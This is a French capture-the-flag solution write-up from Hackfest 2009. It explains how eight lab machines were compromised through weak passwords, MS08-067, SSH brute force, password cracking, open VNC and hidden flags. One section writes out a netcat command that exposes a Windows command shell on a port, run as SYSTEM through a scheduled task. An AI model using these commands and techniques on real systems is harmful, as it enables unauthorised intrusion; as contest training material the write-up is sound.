HACKFEST RELOADED

7 NOVEMBRE 2009
QUEBEC, CANADA

Solutionnaire : NetOS-CTF

Introduction

Voici le solutionnaire de la piste réseau et systèmes d'exploitation du Capture the Flag (NetOS-CtF) ayant eu lieu le 7 novembre lors du Hackfest2K9 à Québec.

Avant toute chose, j'aimerais commencer par remercier tous les participants et féliciter tous ceux qui ont réussi à trouver des flags. J'ai eu beaucoup de plaisir à monter cette piste mais je dois avouer en avoir eu encore plus à voir les participants tenter de hacker mes systèmes. J'espère que ceux qui ont participé à cette piste on apprécié le défi et qu'ils ont eu au moins autant de plaisir que moi.

Les failles décrites dans ce document, vous paraitront peut-être évidentes et parfois faciles à exploiter ou tout simplement saugrenues ou très improbables. Toutefois, je tiens à préciser qu'elles reflètent, parfois tristement, la réalité.

Le bût de mon approche est de faire réaliser aux gens que le hacking / Pentesting va bien souvent au-delà des outils et des techniques dites « conventionnelles ». Il faut parfois penser différemment (think out of the box). Il faut également parfois pousser les recherches un peu plus loin, sortir des sentiers battus, voir les choses sous un autre angle mais surtout, observer!

Avant de passer au volet solutions, j'aimerais partager cette citation avec vous : " This is the way you need to learn: roll up your sleeves, dig in to the fundamentals and the nitty-gritty technical details, and then go 'hands-on' to practice and reinforce what you've been taught." - Joseph Price, DoD

CtF-Flag1

OS: Windows XP Pro SP2

Ce système qui était l'un des plus vulnérables et facile à compromettre, avait plusieurs failles. En voici quelques-unes :

1) Le mot de passe du compte « Administrator » était « admin », ce qui était facile à deviner.

2) Il était possible d'établir des « Null Sessions », ce qui permettait d'obtenir beaucoup d'information sur le système comme des noms d'utilisateurs, de groupes, l'heure du système, etc…

3) Le partage de fichier via NetBIOS était disponible. Ceci combiné au compte administrateur qui pouvait être obtenu aisément, il devenait donc facile d'accéder au disque dur (comme par exemple *Hostname*\C$) et d'y récupérer le flag.

4) La faille de sécurité MS08-067 était présente et permettait de prendre possession du poste à l'aide de Metasploit.

CtF-Flag2

OS: Windows XP Pro SP1

Malgré le fait que ce système était encore au Service Pack 1, donc en principe très vulnérable, il n'était pas directement visible et accessible à partir du réseau. Le coupe-feu (Sygate Personal Firewall) installé sur ce poste, était configuré de façon à ce que seul le poste Windows XP Pro SP2 (CtF-Flag1 ci-dessus) puisse y accéder. Il fallait donc avoir pris possession du Windows XP Pro SP2 avant, pour ensuite accéder au poste Windows XP Pro SP1. Un partage NetBIOS était présent entre les deux postes. Toutefois, ce dernier ne donnait accès qu'au répertoire « C:\Share » sur Windows XP Pro SP1.

Comme il n'était pas possible de remonter vers le « C:\ » à partir du répertoire « C:\Share » pour récupérer le flag, une des possibilité était de déposer une copie de netcat dans le répertoire « C:\Share » ainsi qu'un batch file « ex : nc.bat » pour démarrer netcat. Par la suite, l'utilisation de la commande « ex : nc –L –p 31337 –e cmd.exe & », aurait eu pour effet de démarrer netcat en mode « listener » ou serveur, sur le poste Windows XP Pro SP1 en reverse shell afin d'y accéder à partir du poste Windows XP Pro SP2. De plus, Comme le partage NetBIOS était fait avec le compte « Administrator », une session avec les privilèges administrateur était déjà établie vers le poste Windows XP Pro SP1 à partir du poste Windows XP Pro SP2. Cela signifie que la commande « AT » (AT *computername time* «C: \Share\nc.bat ») pouvait être utilisée à partir de la ligne de command (cmd.exe) pour créer une entrée dans le Task Scheduler de Windows afin d'exécuter le batch file servant à démarrer le netcat listener (en reverse shell). Il ne restait plus qu'à se connecter au « listener » (nc *traget* –p

31337), pour avoir un accès en ligne de commande à « C:\WINDOWS \system32> ». Comme netcat hérite des privilèges du compte avec lequel il a été démarré et que le Task Scheduler, utilise le compte « system » pour démarrer les tâches, netcat bénéficie donc des privilèges du compte « system », ce qui permet de remonter jusqu'à « C:\ » pour récupérer le CtF-Flag2 .

Le « CtF-HintFlag1 » était également présent juste à côté du CtF-Flag2. Il s'agissait d'un indice avec quelques indications, pour trouver le CtF-Flag3, qui était en fait caché dans le CtF-Flag1…

CtF-Flag3

OS: Windows XP Pro SP2 (même système que pour le CtF-Flag1)

Le CtF-Flag3, était en fait caché dans le fichier du CtF-Flag1 à l'aide des Alternate Data Stream (ADS), qui est une façon notamment utilisée par les hackers pour cacher des fichiers ou des outils sur une partition NTFS. Un outil comme LADS pouvait être utilisé pour découvrir et faire afficher le flag. La commande « type c:\CtF-Flag1:CtF-Flag3 » (cmd.exe) aurait également fait afficher le contenu de CtF-Flag3.

CtF-Flag4

OS: CentOS 5.3

(Voir la section CtF-Flag6 OS : Ubuntu avant)
… (Suite du CtF-Flag6 OS : Ubuntu) L'accès à ce serveur (CentOS 5.3) se faisait via le poste Ubuntu (CtF-Flag6). Une fois le poste Ubuntu compromis, il suffisait d'utiliser le partage / connexion SSH (déjà établie avec le compte "root") à partir du poste Ubuntu vers le serveur CentOS 5.3 pour récupérer

le flag.

CtF-Flag5

OS : OpenBSD 4.4

Cette machine était probablement l'une des plus difficiles à hacker. Le système d'exploitation OpenBSD est reconnu pour être ultra-sécuritaire et cette machine n'offrait aucune faille connue et exploitable étant répertoriée au niveau des CVE et de l'OSVDB. Le seul service qui était visible et attaquable de l'externe était SSH (port 22 TCP). Une façon d'entrer sur ce système était donc de faire une attaque de type Brute Force sur le login du compte « root » avec des outils tels que « SSHatter » ou « (THC) Hydra ». Comme tous les autres mots de passes de cette piste, ce dernier faisait parti de la liste de mots (password.lst) qui vient avec le logiciel pour cracker des mots de passe John the Ripper.

CtF-Flag6

OS : Ubuntu

Sur ce système, les services SSH et VNC étaient présents et visibles. Pour ce qui est de VNC, aucun mot de passe n'était nécessaire pour y accéder. Le seul "hic" était qu'il ne donnait accès qu'en "Read Only". Il était donc impossible de contrôler le poste à distance via VNC pour récuppérer le flag. Toutefois, en regardant bien le "desktop" (gnome), on pouvait y voir le nom de l'utilisateur qui était loggé sur le poste (dans le taskbar en haut à droite). Le nom de l'utilsateur était: "triton". Encore une fois et comme dans la vraie vie, cette utilisateur, qui était ausi l'administrateur de ce système, n'avait

pas la sécurité très haute dans son échelle des valeures et des priorité. Devinez quelle était le mot de passe ? Eh oui... ”triton”... En plus, comme ”triton” était l’administrateur du système, il pouvait donc faire un ”sudo” et escalader ses privilèges pour avoir ceux de ”root”. Devinez ce qu’il y avait dans le répertoire ”/” ? Le flag !

Mais ce n’est pas tout ! Notre sysadmin ”triton” administrait un autre système qui avait un partage / connexion SSH vers le serveur CentOS 5.3, et ce, avec le compte ”root” bien sur ! Il y avait même un raccourci sur le desktop. De plus, il était également possible de voir la connexion avec la commande ”netstat”. Voir CtF-Flag4 pour la suite…

CtF-Flag7

OS : Windows 7

Cette machine offrait un défi particulier. Il y avait un accès via le partage de fichiers et de photos, (*hostname*\users\public\pictures) et qui était ouvert à tous. Un scan avec Nessus permettait de le découvrir si l’on prennait le temps le lire le ”long” résultat du scan. Il suffisait ensuite de ”mapper” le répertoire partagé et le tour était jouer. Cependant, une fois dans les répertoires partagés, le seul flag qu’on pouvait trouver était CtF-HintFlag2. Ce flag donnait en fait des indices pour trouver le vrai CtF-Flag7 qui était caché à l’intérieur d’une image nommée ”Hackfest.bmp” et qui était située dans le répertoire de photos paratagé. Le flag était imbriqué dans le fichier ”Hackfest.bmp” à l’aide d’une technique appellée stéganographie. Cette technique consiste à cacher divers fichiers à l’intérieur d’autres fichiers comme par exemples des images ou des fichiers audio. L’outil de stéganographie nécessaire pour récuppérer le flag était tout simplement dans un des répertoires partagés adjacent. Il suffisait de faire le tour des

répertoires et de chercher un peu pour le trouver. La ”passphrase” pour déchiffrer le flag était quand à elle, dans le CtF-HintFlag2.

CtF-Flag8

OS: FreeBSD

L’accès au répertoire « / » sur cette machine était un peu spéciale. Il fallait : a) un minimum de culture cinématographique (The Matrix), b) prendre en compte le thème de l’événement Hackfest (Reloaded), c) faire un peu de recherche (Internet), d) avoir un bon sens de la déduction. Peut-être que certains de ceux ayant participé au concours l’ont réalisé mais tous les noms de machines de cette piste provenaient des noms de vaisseaux qui se retrouvent dans la Matrice : http://en.wikipedia.org/wiki/List_of_ships_in_the_Matrix_series. De plus, chaque machine avait un compte qui était le nom du capitaine du vaisseau. Le nom de la machine était : *Nebuchadnezzar*. Et qui était le capitaine de ce célèbre vaisseau ? Nul autre que ce bon vieux Morpheus. Or, dans le cas de la présente machine, il était possible de déterminer à l’aide d’un simple port scan fait à l’aide de nmap ou autre, que le port TCP 5900 était ouvert. Il suffisait par la suite de se connecter avec un outil de prise de contrôle à distance comme VNC. Une fois connecté (sans que VNC ne demande de mot de passe dans ce cas-ci), une autre belle surprise nous attendait, il y avait une session déjà ouverte sur le poste. Nous avions donc une session d’ouverte avec le compte de Morpheus qui avait suffisamment de privilèges pour avoir accès au fichier qui contient les mots de passes, qui est /etc/spwd.db sur la plateforme FreeBSD. Morpheus n’avait toutefois pas suffisamment de privilège pour accéder au répertoire « / » afin d’y récupérer le flag. Il fallait donc, cracker le mot de passe du compte « root » avec un outil comme John the Ripper. Encore une fois, comme tous les

autres mots de passes de cette piste, ce dernier faisait parti de la liste de mots qui vient avec le logiciel pour cracker des mots de passe John the Ripper (password.lst). Une fois le mot de passe du compte « root » cracké, il suffisait de se logger en tant que « root » pour récupérer le CtF-Flag8 dans le répertoire "/".

Merci !

Prochain rendez-vous :